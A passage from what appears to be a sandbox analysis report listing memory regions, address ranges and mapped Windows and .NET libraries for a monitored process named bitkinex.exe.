0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7821 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7958 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7959 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7960 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7961 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7962 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7984 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7985 start_va = 0x5a0000 end_va = 0x727fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005a0000" filename = "" Region: id = 7986 start_va = 0x750000 end_va = 0x75ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000750000" filename = "" Region: id = 7987 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7988 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7989 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8048 start_va = 0x760000 end_va = 0x8e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000760000" filename = "" Region: id = 8049 start_va = 0xe40000 end_va = 0x223ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e40000" filename = "" Region: id = 8050 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8051 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 8052 start_va = 0x8f0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x9bf1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 8076 start_va = 0x8f0000 end_va = 0x9c0fff monitored = 1 entry_point = 0x9bf1ee region_type = mapped_file name = "bitkinex.exe" filename = "\\Boot\\hu-HU\\bitkinex.exe" (normalized: "c:\\boot\\hu-hu\\bitkinex.exe") Region: id = 8077 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8261 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8262 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8263 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8264 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8265 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8296 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 8298 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 8303 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 8306 start_va = 0x7fe948d0000 end_va = 0x7fe948dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948d0000" filename = "" Region: id = 8308 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8310 start_va = 0x7fe948f0000 end_va = 0x7fe9497ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8311 start_va = 0x7fe94980000 end_va = 0x7fe949effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94980000" filename = "" Region: id = 8312 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 8313 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 8318 start_va = 0x8f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 8319 start_va = 0xa00000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 8320 start_va = 0x2240000 end_va = 0x233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002240000" filename = "" Region: id = 8321 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8333 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8334 start_va = 0x2340000 end_va = 0x1a33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002340000" filename = "" Region: id = 8337 start_va = 0x1a340000 end_va = 0x1a6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a340000" filename = "" Region: id = 8338 start_va = 0xad0000 end_va = 0xbd0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 8343 start_va = 0xc00000 end_va = 0xcfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 8344 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 8350 start_va = 0x1a6c0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a6c0000" filename = "" Region: id = 8351 start_va = 0x1a820000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a820000" filename = "" Region: id = 8352 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 8354 start_va = 0x1a920000 end_va = 0x1abeefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8716 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8747 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8748 start_va = 0x8f0000 end_va = 0x96cfff monitored = 0 entry_point = 0x8fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8749 start_va = 0x980000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 8750 start_va = 0x8f0000 end_va = 0x96cfff monitored = 0 entry_point = 0x8fcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8751 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8807 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8808 start_va = 0x1abf0000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001abf0000" filename = "" Region: id = 8809 start_va = 0x1abf0000 end_va = 0x1accefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001abf0000" filename = "" Region: id = 8810 start_va = 0x1ad10000 end_va = 0x1ad8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad10000" filename = "" Region: id = 8811 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8812 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8813 start_va = 0x7fe949f0000 end_va = 0x7fe94a6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe949f0000" filename = "" Region: id = 8882 start_va = 0x7fe94a70000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a70000" filename = "" Region: id = 8883 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8917 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8932 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8953 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 8993 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 8994 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 8995 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9004 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9019 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9034 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9062 start_va = 0x1ad90000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 9066 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9107 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9108 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 9109 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004d0000" filename = "" Region: id = 9139 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9140 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9162 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9179 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9198 start_va = 0x4b0000 end_va = 0x4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 9212 start_va = 0x4b0000 end_va = 0x511fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9257 start_va = 0x1ae20000 end_va = 0x1ae5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae20000" filename = "" Region: id = 9258 start_va = 0x1aec0000 end_va = 0x1af3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001aec0000" filename = "" Region: id = 9259 start_va = 0x1b0c0000 end_va = 0x1b1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b0c0000" filename = "" Region: id = 9260 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9261 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9368 start_va = 0x1b310000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 9369 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9370 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9371 start_va = 0x8f0000 end_va = 0x934fff monitored = 0 entry_point = 0x8f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9372 start_va = 0x8f0000 end_va = 0x934fff monitored = 0 entry_point = 0x8f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9373 start_va = 0x8f0000 end_va = 0x934fff monitored = 0 entry_point = 0x8f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9374 start_va = 0x8f0000 end_va = 0x934fff monitored = 0 entry_point = 0x8f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9375 start_va = 0x8f0000 end_va = 0x934fff monitored = 0 entry_point = 0x8f1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9437 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9438 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9477 start_va = 0x1af80000 end_va = 0x1b07ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af80000" filename = "" Region: id = 9478 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9494 start_va = 0x1b470000 end_va = 0x1b56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b470000" filename = "" Region: id = 9495 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9496 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 9519 start_va = 0x1b6b0000 end_va = 0x1b7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6b0000" filename = "" Region: id = 9520 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9555 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9569 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9582 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9597 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 9614 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 9696 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9697 start_va = 0x1b7b0000 end_va = 0x1ba81fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9698 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 9699 start_va = 0x740000 end_va = 0x74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 9700 start_va = 0x8f0000 end_va = 0x8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 9701 start_va = 0x900000 end_va = 0x90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 9702 start_va = 0x910000 end_va = 0x91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 9826 start_va = 0x920000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 9827 start_va = 0x930000 end_va = 0x93ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000930000" filename = "" Region: id = 9828 start_va = 0x940000 end_va = 0x94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 9829 start_va = 0x950000 end_va = 0x95ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 9830 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 9831 start_va = 0x970000 end_va = 0x97ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 9832 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a00000" filename = "" Region: id = 9833 start_va = 0xa50000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 9834 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a10000" filename = "" Region: id = 9835 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a20000" filename = "" Region: id = 9836 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a30000" filename = "" Region: id = 9837 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a40000" filename = "" Region: id = 9838 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 9935 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 9936 start_va = 0xd00000 end_va = 0xd0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d00000" filename = "" Region: id = 9937 start_va = 0xd10000 end_va = 0xd1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 9986 start_va = 0xd20000 end_va = 0xd2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d20000" filename = "" Region: id = 9987 start_va = 0xd30000 end_va = 0xd3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 9988 start_va = 0xd40000 end_va = 0xd4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d40000" filename = "" Region: id = 9989 start_va = 0xd50000 end_va = 0xd5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 9990 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 9991 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 9992 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 9993 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 10063 start_va = 0x1a800000 end_va = 0x1a80ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 10064 start_va = 0x1a810000 end_va = 0x1a81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a810000" filename = "" Region: id = 10065 start_va = 0x1acd0000 end_va = 0x1acdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acd0000" filename = "" Region: id = 10066 start_va = 0x1ace0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ace0000" filename = "" Region: id = 10067 start_va = 0x1acf0000 end_va = 0x1acfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 10068 start_va = 0x1ad00000 end_va = 0x1ad0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad00000" filename = "" Region: id = 10069 start_va = 0x1ad90000 end_va = 0x1ad9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad90000" filename = "" Region: id = 10070 start_va = 0x1ada0000 end_va = 0x1adaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 10071 start_va = 0x1adb0000 end_va = 0x1adbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adb0000" filename = "" Region: id = 10072 start_va = 0x1adc0000 end_va = 0x1adcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adc0000" filename = "" Region: id = 10073 start_va = 0x1add0000 end_va = 0x1addffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 10074 start_va = 0x1ade0000 end_va = 0x1adeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ade0000" filename = "" Region: id = 10185 start_va = 0x1adf0000 end_va = 0x1adfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001adf0000" filename = "" Region: id = 10325 start_va = 0x8f0000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 10326 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10327 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10363 start_va = 0x730000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000730000" filename = "" Region: id = 10364 start_va = 0x730000 end_va = 0x73ffff monitored 